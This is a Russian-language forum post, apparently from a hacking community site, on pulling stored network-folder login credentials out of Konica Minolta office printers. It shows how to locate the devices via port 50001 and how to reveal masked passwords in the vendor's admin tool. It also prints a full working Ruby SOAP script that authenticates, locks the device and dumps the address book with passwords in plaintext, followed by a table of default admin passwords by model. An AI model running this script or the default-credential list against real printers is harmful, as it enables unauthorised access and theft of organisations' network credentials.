Konica Minolta

Frame 1099 (1).webp
В адресной книге МФУ Konica Minolta (стоит отметить, что быстро обнаружить принтеры данной марки можно с помощью поиска на сетевых устройствах открытого порта 50001), имеющих возможность сохранять сканированные документы в сетевые каталоги, сохраняются учетные данные для прохождения процедуры аутентификации. Эти данные хранятся в зашифрованном виде, через веб-форму невозможно узнать пароль, только логин. Однако, для ряда моделей есть скрипт в Metasploit.

Пример использования данного скрипта:
1772191482688.webp


Опытным путем получено следующее:

  1. Данный скрипт работает через протокол SOAP по порту 50001. Сначала отправляет запрос на авторизацию с учетными данными, в ответе получает AuthKey. С полученным AuthKey запрашивает адресную книгу, которую получает в формате XML в открытом виде. Затем отправляет запрос на логаут.
  2. На ряде МФУ, например, C3110, скрипт не работает.
  3. Существует проприетарное ПО KONICA MINOLTA Data Administrator, позволяющее управлять принтерами данной марки.
    Кроме этого, через данное ПО присутствует возможность получения аутентификационных данных.
  4. Извлечение паролей возможно в случае, если есть аутентификационные данные для консоли управления принтером.
Извлечение паролей с помощью KONICA MINOLTA Data Administrator

Запускаем ПО

1772191482693.webp


Нажимаем кнопку "Registration of Device"

1772191482699.webp


Нажимаем клавишу "Search and Register..."

1772191482705.webp


Делаем двойной клик по нужному принтеру

1772191482712.webp


Вводим пароль администратора принтера и нажимаем "ОК"

1772191482718.webp


Закрываем окно с успешной регистрацией устройства, видим, что в списке устройств появилось новое.

1772191482722.webp


Делаем двойной клик по устройству

1772191482728.webp


Нажимаем кнопку Import и соглашаемся с всплывающим окном

1772191482733.webp


После недолгого процесса открывается окно с инфо об устройстве

1772191482739.webp


В левой части выбираем "Address Settings", в открытой вкладке "Address book"

1772191482744.webp


Открывается список сохраненных логинов/паролей, по двойному клику на запись открывается полная информация

1772191482750.webp


Пароль скрыт с использованием точек, но с помощью BulletPassView получим его в открытом виде

1772191482758.webp


Данный способ является универсальным для всех устройств фирмы Konica Minolta.


Автоматизация для остальных устройств

Исследовав способ взаимодействия (трафик отправляется в открытом виде без использования шифрования) данного ПО с принтерами C3110 узнали следующее:
  1. В отличии от других принтеров, для выгрузки паролей нужно пять, а не три шага. А именно:

    1. Запрос на аутентификацию с получением AuthKey
    2. Запрос на блокировку устройства с получением LockKey
    3. Запрос на получение адресной книги (с использованием AuthKey и LockKey)
    4. Запрос на разблокировку устройства
    5. Запрос на логаут
Стоит отметить, что при слишком быстром отправлении данных запросов устройство не обрабатывает и пропускает некоторые из них. В результате получим заблокированное устройство, разблокировать которое можно только перезагрузкой.

  1. В результате имеем не XML, а закодированную в Base64 CSV.
Для автоматизации был модернизирован модуль для Metasploit, указанный выше. Используется Ruby с библиотеками 'net/http',
'uri', 'nokogiri', 'base64'.
В теле скрипта прописаны аутентификационные данные для принтера, а также указан IP-адрес принтера. В результате скрипт выдает CSV в чистом виде.

1772191482784.webp



Скрипт представлен в приложении.

Код:
require 'net/http'
require 'uri'
require 'nokogiri'
require "base64"

def generate_authkey_request_xlm(major, minor)
  user ='Admin'
  passwd = '12345678'
  Nokogiri::XML::Builder.new do |xml|
    xml.send('SOAP-ENV:Envelope',
             'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
             'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
             'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
             'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
      xml.send('SOAP-ENV:Header'){
        xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
          xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
          xml.send('UserName', 'xmlns' => '') { xml.text '' }
          xml.send('Password', 'xmlns' => '') { xml.text '' }
          xml.send('Version', 'xmlns' => ''){
            xml.send('Major') { xml.text "#{major}" }
            xml.send('Minor') { xml.text "#{minor}" }
          }
          xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
        }
      }
      xml.send('SOAP-ENV:Body') {
        xml.send('AppReqLogin', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
          xml.send('OperatorInfo'){
            xml.send('UserType') { xml.text "#{user}" }
            xml.send('Password') { xml.text "#{passwd}" }
          }
          xml.send('TimeOut') { xml.text '60' }
        }
      }
    }
  end
end

def generate_logout_request_xlm(major, minor, authkey)
  Nokogiri::XML::Builder.new do |xml|
    xml.send('SOAP-ENV:Envelope',
             'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
             'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
             'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
             'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
      xml.send('SOAP-ENV:Header'){
        xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
          xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
          xml.send('UserName', 'xmlns' => '') { xml.text '' }
          xml.send('Password', 'xmlns' => '') { xml.text '' }
          xml.send('Version', 'xmlns' => ''){
            xml.send('Major') { xml.text "#{major}" }
            xml.send('Minor') { xml.text "#{minor}" }
          }
          xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
        }
      }
      xml.send('SOAP-ENV:Body') {
        xml.send('AppReqLogout', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
          xml.send('OperatorInfo'){
            xml.send('AuthKey') { xml.text "#{authkey}" }
          }
          xml.send('TimeOut') { xml.text '60' }
        }
      }
    }
  end
end

def generate_lock_request_xlm(major, minor, authkey)
  Nokogiri::XML::Builder.new do |xml|
    xml.send('SOAP-ENV:Envelope',
             'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
             'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
             'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
             'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
      xml.send('SOAP-ENV:Header'){
        xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
          xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
          xml.send('UserName', 'xmlns' => '') { xml.text '' }
          xml.send('Password', 'xmlns' => '') { xml.text '' }
          xml.send('Version', 'xmlns' => ''){
            xml.send('Major') { xml.text "#{major}" }
            xml.send('Minor') { xml.text "#{minor}" }
          }
          xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
        }
      }
      xml.send('SOAP-ENV:Body') {
        xml.send('AppReqEnterDeviceLock', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
          xml.send('OperatorInfo'){
            xml.send('AuthKey') { xml.text "#{authkey}" }
          }
            xml.send('LockType') { xml.text 'DownloadLock' }
            xml.send('PackageEntryFlg') { xml.text 'Package' }       
          xml.send('TimeOut') { xml.text '60' }
        }
      }
    }
  end
end

def generate_unlock_request_xlm(major, minor, authkey, lockkey)
  Nokogiri::XML::Builder.new do |xml|
    xml.send('SOAP-ENV:Envelope',
             'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
             'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
             'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
             'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
      xml.send('SOAP-ENV:Header'){
        xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
          xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
          xml.send('UserName', 'xmlns' => '') { xml.text '' }
          xml.send('Password', 'xmlns' => '') { xml.text '' }
          xml.send('Version', 'xmlns' => ''){
            xml.send('Major') { xml.text "#{major}" }
            xml.send('Minor') { xml.text "#{minor}" }
          }
          xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
        }
      }
      xml.send('SOAP-ENV:Body') {
        xml.send('AppReqExitDeviceLock', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
          xml.send('OperatorInfo'){
            xml.send('AuthKey') { xml.text "#{authkey}" }
          }
            xml.send('LockKey') { xml.text "#{lockkey}" }   
        }
      }
    }
  end
end

def generate_pwd_request_xlm(major, minor, authkey, lockkey)
  Nokogiri::XML::Builder.new do |xml|
    xml.send('SOAP-ENV:Envelope',
             'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
             'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
             'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
             'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
      xml.send('SOAP-ENV:Header'){
        xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
          xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
          xml.send('UserName', 'xmlns' => '') { xml.text '' }
          xml.send('Password', 'xmlns' => '') { xml.text '' }
          xml.send('Version', 'xmlns' => ''){
            xml.send('Major') { xml.text "#{major}" }
            xml.send('Minor') { xml.text "#{minor}" }
          }
          xml.send('AppManagementID', 'xmlns' => '') { xml.text '1000' }
        }
      }
      xml.send('SOAP-ENV:Body'){
        xml.send('AppReqSyncGetPackageData', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
          xml.send('OperatorInfo'){
            xml.send('AuthKey') { xml.text "#{authkey}" }
          }
            xml.send('LockKey') { xml.text "#{lockkey}" }
            xml.send('RequestItem') { xml.text 'Abbr' }
          xml.send('ObtainCondition'){
            xml.send('Type') { xml.text 'OffsetList' }
              xml.send('OffsetRange'){
                xml.send('Start') { xml.text '1' }
                xml.send('Length') { xml.text '100' }
              }
          }
          xml.send('BackUp') { xml.text 'On' }
          xml.send('BackUpPassword') { xml.text 'MYSKIMGS' }         
          xml.send('FileFormat') { xml.text 'Csv' }
        }
      }
    }
  end
end

def version(ip)
  response = send_request(ip, '<SOAP-ENV:Envelope></SOAP-ENV:Envelope>','""')
  if response.nil?
    print_error("No response from device")
    return
  else
    xml0_body = ::Nokogiri::XML(response.body)
    major_parse = xml0_body.xpath('//Major').text
    minor_parse = xml0_body.xpath('//Minor').text
    major = ("#{major_parse}")
    minor = ("#{minor_parse}")
    sleep(1)
    login(ip, major, minor)
  end

  rescue
    puts("Version check Connection failed")
end

def login(ip, major, minor)
  authreq_xml = generate_authkey_request_xlm(major, minor)
  begin
    response = send_request(ip, authreq_xml.to_xml, "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqLogin")
    if response.nil?
      print_error("No response from device")
      return
    else
      xml1_body = ::Nokogiri::XML(response.body)
      authkey_parse = xml1_body.xpath('//AuthKey').text
      authkey = ("#{authkey_parse}")
      sleep(1)
      lock(ip, major, minor, authkey)
      logout(ip, major, minor, authkey)
    end
  rescue
    puts("Login Connection failed")
  end
end

def lock(ip, major, minor, authkey)
  lockreq_xml = generate_lock_request_xlm(major, minor, authkey)
  begin
    response = send_request(ip, lockreq_xml.to_xml, "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqEnterDeviceLock")
    if response.nil?
      print_error("No response from device")
      return
    else
      xml1_body = ::Nokogiri::XML(response.body)
      lockkey_parse = xml1_body.xpath('//LockKey').text
      lockkey = ("#{lockkey_parse}")
      sleep(1)
      extract(ip, major, minor, authkey, lockkey)
      unlock(ip, major, minor, authkey, lockkey)
    end
  rescue
    puts("Lock failed")
  end
end

def unlock(ip, major, minor, authkey, lockkey)
  unlockreq_xml = generate_unlock_request_xlm(major, minor, authkey, lockkey)
  begin
    response = send_request(ip, unlockreq_xml.to_xml, "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqExitDeviceLock")
    sleep(1)
    if response.nil?
      print_error("No response from device")
      return
      end
  rescue
    puts("unlock failed")
  end
end

def logout(ip, major, minor, authkey)
  authreq_xml = generate_logout_request_xlm(major, minor, authkey)
  begin
    response = send_request(ip, authreq_xml.to_xml, "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqLogout")
    if response.nil?
      print_error("No response from device")
      return
    end
  rescue
    puts("logout failed")
  end
end

def extract(ip, major, minor, authkey, lockkey)
  if (authkey != '')
    smbreq_xml = generate_pwd_request_xlm(major, minor, authkey, lockkey)
    begin
      response = send_request(ip, smbreq_xml.to_xml,"http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqSyncGetPackageData")
      sleep(1)
      if response.nil?
        print_error("No response from device")
        return
      else
          pattern = /Content-Transfer-Encoding: base64(.*?)--MIME_boundary--/m
          csv_data = nil
          if match = response.body.match(pattern)
                    csv_data = match[1].strip
                  end
                
          if csv_data.nil?
            puts "CSV данные не найдены."
          else
            decoded_csv = Base64.decode64(csv_data)
      
            puts "Decoded CSV:"
            puts decoded_csv
          end
      end
    end
  end
end

def send_request(ip, data, action)
  uri = URI.parse("http://#{ip}:50001/OpenAPI")
  http = Net::HTTP.new(uri.host, uri.port)

  request = Net::HTTP::Post.new(uri.path)
  request.body = data # Тело запроса
  request['Content-Type'] = 'text/xml'
  request['SOAPAction'] = "#{action}"
 
  return http.request(request)
end

version('172.16.1.121')

Пароли к устройствам Konica Minolta по умолчанию
ModelAdmin PassPSWC Admin Login/Pass
20/20padmin/access
25e(none)
36/421234567812345678
40padministrator
4050/47501234567812345678
4052/475212345678123456781234567812345678
c20000000administrator
c20padministrator
c25000000administrator
c351234567812345678
c35padministrator
C3100p1234567812345678
C31101234567812345678
c3350/c3850/c3850FS1234567812345678
c3351/c3851/c3851FS12345678123456781234567812345678
162/163/165/185/210/211/215/226/266/306/225i000000sysadm
c250/c252/c352/c450/c203/c253/c353/c451/c650/c220/c280/c3601234567812345678
/c452/c552/c652/c652DS/ 420/500/ 361/421/501/ 223/283/363/423/ 552/652
c224/c224e/c284/c284e/c364/c364e/c454/c454e/c55412345678123456781234567812345678
/c554e/c654/c654e/c754/c754e/654/754/224e/284e/364e/454e/554e
/227/287/367/308/308e/368/368e/458/458e/558/558e/658e
/758/808/958/C227/C287/C258/C308/C368/C458/C558/C659/C759
4050i/4750i/300i/360i/450i/550i/650i/750i/850i/950i/C3300i/C4000i/C3320i/C3350i/C4050i/C257i/C250i/C300i/C360i/C450i/C550i/C650i/C750i12345678123456781234567812345678
 

Вложения

  • Frame 1099.webp
    Frame 1099.webp
    36,8 КБ · Просмотры: 4
Последнее редактирование:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab